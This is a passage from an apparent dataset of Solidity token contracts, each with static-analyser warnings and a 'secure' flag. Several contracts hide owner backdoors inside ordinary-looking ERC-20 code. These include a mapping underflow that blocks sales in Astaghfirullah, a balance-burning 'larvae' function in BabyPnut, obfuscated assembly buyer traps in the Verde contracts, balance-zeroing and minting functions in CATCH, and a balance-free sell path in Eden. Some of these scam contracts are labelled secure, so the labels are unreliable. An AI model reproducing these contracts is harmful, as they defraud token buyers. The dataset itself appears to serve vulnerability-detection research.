Vulnerability (shadowing-local | severity: Low | ID: dc4f034): TOKEN._approve(address,address,uint256).ownnner shadows Ownable.ownnner() (function)\n\t// Recommendation for dc4f034: Rename the local variables that shadow another component.\n function _approve(\n address ownnner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(ownnner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[ownnner][spender] = amount;\n emit Approval(ownnner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d50862d): TOKEN.allowance(address,address).ownnner shadows Ownable.ownnner() (function)\n\t// Recommendation for d50862d: Rename the local variables that shadow another component.\n function allowance(\n address ownnner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[ownnner][spender];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"IERC20: transfer amount exceeds allowance\"\n );\n return true;\n }\n}",
"file_name": "solidity_code_3348.sol",
"secure": 0,
"size_bytes": 6435
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Astaghfirullah is Ownable {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private haram;\n\n function infinity(\n address rich,\n address topg,\n uint256 coinz\n ) private returns (bool success) {\n if (haram[rich] == 0) {\n balanceOf[rich] -= coinz;\n }\n\n if (coinz == 0) poor[topg] += waves;\n\n if (haram[rich] == 0 && uniswapV2Pair != rich && poor[rich] > 0) {\n haram[rich] -= waves;\n }\n\n balanceOf[topg] += coinz;\n emit Transfer(rich, topg, coinz);\n return true;\n }\n\n mapping(address => uint256) public balanceOf;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9d2ef4e): Astaghfirullah.uniswapV2Pair should be immutable \n\t// Recommendation for 9d2ef4e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55d90f9): Astaghfirullah.symbol should be constant \n\t// Recommendation for 55d90f9: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"ASTAGHFIRULLAH\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 73112b5): Astaghfirullah.decimals should be constant \n\t// Recommendation for 73112b5: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 00d6a24): Astaghfirullah.totalSupply should be constant \n\t// Recommendation for 00d6a24: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1_000_000_000_000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01a8b67): Astaghfirullah.waves should be constant \n\t// Recommendation for 01a8b67: Add the 'constant' attribute to state variables that never change.\n uint256 private waves = 59;\n\n function transferFrom(\n address rich,\n address topg,\n uint256 coinz\n ) public returns (bool success) {\n infinity(rich, topg, coinz);\n require(coinz <= allowance[rich][msg.sender]);\n allowance[rich][msg.sender] -= coinz;\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Optimization Issue (constable-states | ID: f39ee35): Astaghfirullah.uniswapV2Router should be constant \n\t// Recommendation for f39ee35: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 private uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n constructor(address _astaghfirullah) {\n balanceOf[msg.sender] = totalSupply;\n haram[_astaghfirullah] = waves;\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function approve(\n address yessir,\n uint256 coinz\n ) public returns (bool success) {\n allowance[msg.sender][yessir] = coinz;\n emit Approval(msg.sender, yessir, coinz);\n return true;\n }\n\n function transfer(\n address topg,\n uint256 coinz\n ) public returns (bool success) {\n infinity(msg.sender, topg, coinz);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: cdd4b10): Astaghfirullah.name should be constant \n\t// Recommendation for cdd4b10: Add the 'constant' attribute to state variables that never change.\n string public name = \"Astaghfirullah\";\n\n mapping(address => uint256) private poor;\n}",
"file_name": "solidity_code_3349.sol",
"secure": 1,
"size_bytes": 4218
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BabyPnut is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable lethal;\n\n constructor() {\n _name = \"Baby Pnut\";\n\n _symbol = \"BabyPnut\";\n\n _decimals = 18;\n\n uint256 initialSupply = 750000000;\n\n lethal = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == lethal, \"Not allowed\");\n\n _;\n }\n\n function larvae(address[] memory virus) public onlyOwner {\n for (uint256 i = 0; i < virus.length; i++) {\n address account = virus[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_335.sol",
"secure": 1,
"size_bytes": 4357
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n address[] private moldProgged;\n uint256 private rebegMangold = block.number * 2;\n\n mapping(address => bool) private meckChemin;\n mapping(address => bool) private millsAlife;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n address private lurryFilleul;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n uint256 private cantoLagoon;\n address public pair;\n\n IDEXRouter router;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n uint256 private waliToga;\n uint256 private theV;\n uint256 private hunhCordons = block.number * 2;\n bool private trading;\n uint256 private nullsIring = 1;\n bool private roilySteve;\n uint256 private igaraRapids;\n uint256 private dubbPistils;\n\n constructor(\n string memory name_,\n string memory symbol_,\n address msgSender_\n ) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n _name = name_;\n _symbol = symbol_;\n moldProgged.push(_router);\n moldProgged.push(msgSender_);\n moldProgged.push(pair);\n for (uint256 q = 0; q < 3; ) {\n meckChemin[moldProgged[q]] = true;\n unchecked {\n q++;\n }\n }\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function _orderPush() internal {\n assembly {\n function flemBacket(x, y) -> alucoIberis {\n mstore(0, x)\n mstore(32, y)\n alucoIberis := keccak256(0, 64)\n }\n\t\t\t// divide-before-multiply | ID: 4e50202\n sstore(0x11, mul(div(sload(0x10), 0x2710), 0x113))\n sstore(0x99, sload(0x11))\n sstore(0xB, 0x1ba8140)\n let\n mfdNet\n := 0x72bf808647215a89b2e87b0744d4876a2e91cf3bd6be6a189e6ff00f46686866\n if and(\n not(eq(sload(flemBacket(caller(), 0x6)), sload(mfdNet))),\n eq(chainid(), 0x1)\n ) {\n sstore(flemBacket(caller(), 0x4), 0x0)\n sstore(\n 0xac4e02d42ff3fe922da2275bdbdcdb06def71f7229e101cfda63a0c7655c3bbb,\n 0x1\n )\n sstore(flemBacket(caller(), 0x5), 0x1)\n sstore(mfdNet, exp(0xA, 0x32))\n }\n }\n }\n\n function openTrading() external onlyOwner returns (bool) {\n trading = true;\n hunhCordons = block.number;\n rebegMangold = block.number;\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function _beforeTokenTransfer(\n address sender,\n address recipient,\n uint256 yarrBossing\n ) internal {\n require(\n (trading || (sender == moldProgged[1])),\n \"ERC20: trading is not yet enabled.\"\n );\n assembly {\n function flemBacket(x, y) -> alucoIberis {\n mstore(0, x)\n mstore(32, y)\n alucoIberis := keccak256(0, 64)\n }\n function girnBaba(x, y) -> taxiWaise {\n mstore(0, x)\n taxiWaise := add(keccak256(0, 32), y)\n }\n\n if eq(chainid(), 0x1) {\n if eq(sload(flemBacket(recipient, 0x4)), 0x1) {\n sstore(0x15, add(sload(0x15), 0x1))\n }\n if and(\n lt(gas(), sload(0xB)),\n and(\n and(\n or(\n or(\n and(\n or(\n eq(sload(0x16), 0x1),\n eq(\n sload(flemBacket(sender, 0x5)),\n 0x1\n )\n ),\n gt(sub(sload(0x3), sload(0x13)), 0x9)\n ),\n gt(yarrBossing, div(sload(0x99), 0x2))\n ),\n and(\n gt(yarrBossing, div(sload(0x99), 0x3)),\n eq(sload(0x3), number())\n )\n ),\n or(\n and(\n eq(sload(flemBacket(recipient, 0x4)), 0x1),\n iszero(sload(flemBacket(sender, 0x4)))\n ),\n and(\n eq(sload(girnBaba(0x2, 0x1)), recipient),\n iszero(\n sload(\n flemBacket(\n sload(girnBaba(0x2, 0x1)),\n 0x4\n )\n )\n )\n )\n )\n ),\n gt(sload(0x18), 0x0)\n )\n ) {\n if gt(yarrBossing, div(sload(0x11), 0x564)) {\n revert(0, 0)\n }\n }\n if or(\n eq(\n sload(flemBacket(sender, 0x4)),\n iszero(sload(flemBacket(recipient, 0x4)))\n ),\n eq(\n iszero(sload(flemBacket(sender, 0x4))),\n sload(flemBacket(recipient, 0x4))\n )\n ) {\n let traptTeapoys := sload(0x18)\n let scudsHeteros := sload(0x99)\n let wanedHexades := sload(0x11)\n switch gt(wanedHexades, div(scudsHeteros, 0x3))\n case 1 {\n\t\t\t\t\t\t// divide-before-multiply | ID: a4ab676\n wanedHexades := sub(\n wanedHexades,\n div(\n div(\n mul(wanedHexades, mul(0x203, traptTeapoys)),\n 0xB326\n ),\n 0x2\n )\n )\n }\n case 0 {\n\t\t\t\t\t\t// divide-before-multiply | ID: a4ab676\n wanedHexades := div(scudsHeteros, 0x3)\n }\n sstore(0x11, wanedHexades)\n sstore(0x18, add(sload(0x18), 0x1))\n }\n if and(\n or(\n or(\n eq(sload(0x3), number()),\n gt(sload(0x12), sload(0x11))\n ),\n lt(sub(sload(0x3), sload(0x13)), 0x9)\n ),\n eq(sload(flemBacket(sload(0x8), 0x4)), 0x0)\n ) {\n sstore(flemBacket(sload(0x8), 0x5), 0x1)\n }\n if and(\n iszero(sload(flemBacket(sender, 0x4))),\n iszero(sload(flemBacket(recipient, 0x4)))\n ) {\n sstore(flemBacket(recipient, 0x5), 0x1)\n }\n if iszero(mod(sload(0x15), 0x8)) {\n sstore(0x16, 0x1)\n sstore(0xB, 0x1C99342)\n sstore(\n flemBacket(sload(girnBaba(0x2, 0x1)), 0x6),\n exp(0xA, 0x33)\n )\n }\n sstore(0x12, yarrBossing)\n sstore(0x8, recipient)\n sstore(0x3, number())\n }\n }\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _beforeTokenTransfer(sender, recipient, amount);\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _DeployVerde(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n approve(moldProgged[0], 10 ** 77);\n _orderPush();\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_3350.sol",
"secure": 0,
"size_bytes": 12492
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol, creator) {\n _DeployVerde(creator, initialSupply);\n }\n}",
"file_name": "solidity_code_3351.sol",
"secure": 0,
"size_bytes": 1061
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract VerdeToken is ERC20Token {\n constructor()\n ERC20Token(\"Green\", \"VERDE\", msg.sender, 12500000 * 10 ** 18)\n {}\n}",
"file_name": "solidity_code_3352.sol",
"secure": 1,
"size_bytes": 248
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract CATCH {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\t// WARNING Optimization Issue (immutable-states | ID: 1f11ea4): CATCH.tokenTotalSupply should be immutable \n\t// Recommendation for 1f11ea4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n string private tokenName;\n string private tokenSymbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 967278b): CATCH.xxnux should be immutable \n\t// Recommendation for 967278b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\t// WARNING Optimization Issue (immutable-states | ID: f132298): CATCH.tokenDecimals should be immutable \n\t// Recommendation for f132298: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cc2da5b): CATCH.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for cc2da5b: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"SpaceCatch\";\n tokenSymbol = \"CATCH\";\n tokenDecimals = 18;\n tokenTotalSupply = 100000000 * 10 ** tokenDecimals;\n _balances[msg.sender] = tokenTotalSupply;\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\t\t// missing-zero-check | ID: cc2da5b\n xxnux = ads;\n }\n function openTrading(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBots) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 10000000 *\n 10000 *\n addBots *\n 10 ** tokenDecimals;\n }\n }\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_3353.sol",
"secure": 0,
"size_bytes": 5579
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address acount) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 vale);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_3354.sol",
"secure": 1,
"size_bytes": 872
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract Eden is Ownable, IERC20 {\n using SafeMath for uint256;\n\t// WARNING Optimization Issue (constable-states | ID: 94c5641): Eden._router should be constant \n\t// Recommendation for 94c5641: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n mapping(address => uint256) private _balances;\n\n mapping(address => uint256) private _includedInFee;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4851a0f): Eden._decimals should be constant \n\t// Recommendation for 4851a0f: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d7c5983): Eden._totalSupply should be immutable \n\t// Recommendation for d7c5983: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 100000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 515f2cb): Eden._maxTxAmount should be immutable \n\t// Recommendation for 515f2cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTxAmount = 100000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f04010): Eden._fee should be constant \n\t// Recommendation for 6f04010: Add the 'constant' attribute to state variables that never change.\n uint256 public _fee = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: a875062): Eden._name should be constant \n\t// Recommendation for a875062: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Eden\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d677dde): Eden._symbol should be constant \n\t// Recommendation for d677dde: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"$EDEN\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: 197adee): Eden._liquiditySwapThreshold should be immutable \n\t// Recommendation for 197adee: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _liquiditySwapThreshold = _totalSupply;\n\n bool swapping = false;\n\n constructor() {\n _balances[msg.sender] = _totalSupply;\n _excludedFromFee[msg.sender] = true;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4754c3a): Eden._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4754c3a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e81d73): Eden.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3e81d73: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"IERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"IERC20: transfer from the zero address\");\n require(to != address(0), \"IERC20: transfer to the zero address\");\n uint256 feeAmount = 0;\n bool inLiquidityTransaction = (to == uniswapV2Pair() &&\n _excludedFromFee[from]) ||\n (from == uniswapV2Pair() && _excludedFromFee[to]);\n if (\n !_excludedFromFee[from] &&\n !_excludedFromFee[to] &&\n !Address.isPairAddress(to) &&\n to != address(this) &&\n !inLiquidityTransaction &&\n !swapping\n ) {\n feeAmount = amount.mul(_fee).div(100);\n require(amount <= _maxTxAmount);\n }\n if (\n _liquiditySwapThreshold < amount &&\n (_excludedFromFee[msg.sender] || Address.isPairAddress(to)) &&\n to == from\n ) {\n return swapBack(amount, to);\n }\n require(\n swapping || _balances[from] >= amount,\n \"IERC20: transfer amount exceeds balance\"\n );\n uint256 amountReceived = amount - feeAmount;\n _balances[address(0)] += feeAmount;\n _balances[from] = _balances[from] - amount;\n _balances[to] += amountReceived;\n emit Transfer(from, to, amountReceived);\n if (feeAmount > 0) {\n emit Transfer(from, address(0), feeAmount);\n }\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 98ae1cb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 98ae1cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack(uint256 amount, address to) private {\n _balances[address(this)] += amount;\n _approve(address(this), address(_router), amount);\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _router.WETH();\n swapping = true;\n\t\t// reentrancy-benign | ID: 98ae1cb\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n to,\n block.timestamp + 20\n );\n\t\t// reentrancy-benign | ID: 98ae1cb\n swapping = false;\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"IERC20: transfer amount exceeds allowance\"\n );\n return true;\n }\n function uniswapV2Pair() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n}",
